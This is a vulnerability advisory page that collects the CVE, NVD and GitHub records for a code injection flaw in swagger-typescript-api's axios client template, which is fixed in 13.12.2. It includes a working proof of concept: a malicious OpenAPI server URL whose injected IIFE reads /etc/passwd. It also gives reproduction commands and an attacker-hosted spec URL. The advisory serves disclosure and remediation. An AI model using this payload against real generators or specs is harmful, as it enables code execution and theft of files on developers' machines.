swagger-typescript-api vulnerable to code injection via unescaped `servers[0].url` in axios http-client template

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swagger-typescript-api generates API clients for Fetch or Axios from an OpenAPI Specification. Prior to 13.12.2, templates/base/http-clients/axios-http-client.ejs interpolates servers[0].url from src/code-gen-process.ts into the HttpClient constructor without escaping, allowing an attacker-controlled OpenAPI spec to inject code that executes when new HttpClient() or new Api() is constructed. This issue is fixed in version 13.12.2.

Source published

29 Jul 2026 14:30:29 UTC

Source modified

29 Jul 2026 15:00:20 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 8.3 CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

swagger-typescript-api generates API clients for Fetch or Axios from an OpenAPI Specification. Prior to 13.12.2, templates/base/http-clients/axios-http-client.ejs interpolates servers[0].url from src/code-gen-process.ts into the HttpClient constructor without escaping, allowing an attacker-controlled OpenAPI spec to inject code that executes when new HttpClient() or new Api() is constructed. This issue is fixed in version 13.12.2.

Source published

29 Jul 2026 15:16:25 UTC

Source modified

23 Oct 2026 23:10:00 UTC

Observed here

25 Oct 2026 13:17:28 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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CVSS 3.1 · [email protected] · Secondary · 8.3 CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

### Summary `swagger-typescript-api` interpolates `servers[0].url` directly into a TypeScript string literal inside the `HttpClient` constructor body of the generated **axios** client (`templates/base/http-clients/axios-http-client.ejs:71`), without any escaping. A malicious URL containing a `"` closes the string literal and exposes the surrounding *object-literal argument* of `axios.create({...})` to injection. A computed property key whose value is an IIFE executes arbitrary code every time `new HttpClient()` (or `new Api()`, which extends `HttpClient`) is constructed. The attacker controls the OpenAPI spec; the victim is any consumer of the generated client. Impact is arbitrary code execution with the importing process's privileges. This is the *axios* sibling of the previously reported fetch-client RCE — same upstream variable (`apiConfig.baseUrl`, sourced from `servers[0].url`), same root cause class (raw `<%~ %>` interpolation of unescaped spec strings), different template file and different lifecycle frame (constructor body vs class-body static field). The single most maintainable fix — sanitizing `apiConfig.baseUrl` once at the source in `src/code-gen-process.ts:591` — closes both at once. ### Details `createApiConfig` in `src/code-gen-process.ts:591` sets the templated `baseUrl` from the spec without sanitization: ```ts return { ... baseUrl: serverUrl, // <-- serverUrl = swaggerSchema.servers[0].url, raw ... }; ``` The axios http-client template (`templates/base/http-clients/axios-http-client.ejs:71`) then interpolates that value into a TS string literal inside the `HttpClient` constructor body: ```ejs constructor({ securityWorker, secure, format, ...axiosConfig }: ApiConfig<SecurityDataType> = {}) { this.instance = axios.create({ ...axiosConfig, baseURL: axiosConfig.baseURL || "<%~ apiConfig.baseUrl %>" }) ... } ``` `<%~ %>` is Eta's raw, unescaped interpolation. The codebase's only escape function — `escapeJSDocContent` (`src/schema-parser/schema-formatters.ts:127`) — only replaces `*/` and is not applied to this path. The injection sits inside a JavaScript *object literal* (the argument to `axios.create({...})`), so simple statement-level injection is not directly possible — but **computed property keys** are. A spec value of the form: ``` URL", [(IIFE)()]: 0, dummy: " ``` produces the following object literal: ```js axios.create({ ...axiosConfig, baseURL: axiosConfig.baseURL || "URL", [(IIFE)()]: 0, dummy: "" }) ``` The IIFE evaluates eagerly when the object literal is constructed — i.e. every time `new HttpClient()` runs. The trailing `dummy: ""` reopens a string that the template's own closing `"` terminates, keeping the file syntactically valid TypeScript. **Lifecycle compared to the fetch sink:** the fetch template emits a class-body field initializer that fires at class-definition / module load. The axios sink emits inside the constructor and therefore fires one frame later, on `new HttpClient()`. In practice the trigger window is identical, because: - Every README example in this repository does `const api = new Api()` at module top level. - `Api` (in `default/api.ejs`) extends `HttpClient`, so `new Api()` invokes the `HttpClient` constructor via `super()`. - Top-level `const api = new Api()` runs at module load — the consumer cannot import without instantiating in the documented usage pattern. ### PoC Self-contained reproducer (`run.sh` runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → instantiate → check canary). Tested on `[email protected]` and Node `v24.11.1`. **Malicious `servers[0].url`** (literal string, JSON-encoded in the spec below): ``` https://api.example.com", [(async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} return 'pwned'; })()]: 0, dummy: " ``` **Minimal payload spec:** ```json { "openapi": "3.0.0", "info": { "title": "AxiosPayloadAPI", "version": "1.0.0" }, "servers": [ { "url": "https://api.example.com\", [(async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} return 'pwned'; })()]: 0, dummy: \"" } ], "paths": { "/ping": { "get": { "operationId": "ping", "responses": { "200": { "description": "OK" } } } } } } ``` **Steps:** ```bash npm install [email protected] esbuild axios node -e "import('swagger-typescript-api').then(m => m.generateApi({ name: 'Api.ts', output: process.cwd() + '/out', input: process.cwd() + '/payload-spec.json', httpClientType: 'axios' }))" npx esbuild out/Api.ts --bundle --format=esm --platform=node \ --external:axios --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs rm -f /tmp/sta_canary node --input-type=module -e " const mod = await import('./out/Api.bundle.mjs'); new mod.HttpClient(); await new Promise(r => setTimeout(r, 300)); " ls -la /tmp/sta_canary && cat /tmp/sta_canary ``` **Generated `out/Api.ts` (constructor — payload, Biome-formatted):** ```ts constructor({ securityWorker, secure, format, ...axiosConfig }: ApiConfig<SecurityDataType> = {}) { this.instance = axios.create({ ...axiosConfig, baseURL: axiosConfig.baseURL || "https://api.example.com", [(async () => { try { const fs = await import("node:fs"); const data = fs.readFileSync("/etc/passwd", "utf8"); fs.writeFileSync("/tmp/sta_canary", data); } catch (e) {} return "pwned"; })()]: 0, dummy: "", }); this.secure = secure; this.format = format; this.securityWorker = securityWorker; } ``` The `[(async () => { ... })()]: 0` is a real computed object-literal key — Biome only reformats syntactically valid TypeScript, so the multi-line indented output proves it parsed. The IIFE evaluates when the `axios.create({...})` argument is constructed (during the `HttpClient` constructor), schedules `fs.readFileSync('/etc/passwd')`, and writes the exfiltrated contents to `/tmp/sta_canary`. **Result:** after `new HttpClient()`, `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (`servers[0].url: "https://api.example.com"`) generates a clean `baseURL: ... || "https://api.example.com"` and writes no canary. ### Impact **Type:** Code injection in generated output (CWE-94) / template-engine injection (CWE-1336). **Affected use cases:** any developer or pipeline that runs `swagger-typescript-api` with `httpClientType: "axios"` (or `--http-client axios`) against an OpenAPI spec they did not author entirely: - `sta generate --http-client axios --url https://attacker.example/openapi.json` — a public, third-party, or attacker-hosted spec. - A CI/CD pipeline regenerating axios-based clients from a vendor / partner spec on each build. - A multi-tenant SaaS that generates per-tenant axios clients from tenant-supplied specs. - Any project pinned to a spec file that a contributor can modify via PR. **Lifecycle:** the injected IIFE fires when `new HttpClient()` is constructed. In the standard usage pattern (`const api = new Api()` at module top level), this is effectively at first import — `Api extends HttpClient` and the `super()` call invokes the affected constructor. A consumer cannot use the generated client without constructing it. **Privilege:** the IIFE runs with the full privileges of the importing process — read any file the importer can read, write any file, exfiltrate secrets, spawn child processes, etc. **Suggested fix:** sanitize `apiConfig.baseUrl` once at the source in `src/code-gen-process.ts:591`: ```ts // in createApiConfig baseUrl: escapeJsStringLiteral(serverUrl), ``` where `escapeJsStringLiteral` produces a properly-escaped JS string literal — at minimum escaping `"`, `\`, `\n`, `\r`, `\t`, `\b`, `\f`, `\v`, `\0`, and the line/paragraph separators ` ` / ` `. `JSON.stringify(serverUrl).slice(1, -1)` is a one-line acceptable implementation. **This single change closes both this advisory and the previously reported fetch-client variant** without further template edits. If a template-side fix is preferred instead, both `templates/base/http-clients/fetch-http-client.ejs:75` and `templates/base/http-clients/axios-http-client.ejs:71` need their `<%~ apiConfig.baseUrl %>` swapped for the escaped form — fixing only one leaves the other exploitable. Submitted by: Hamza Haroon (thegr1ffyn)

Source published

29 Jul 2026 14:31:15 UTC

Source modified

29 Jul 2026 14:56:42 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Publisher rating · HIGH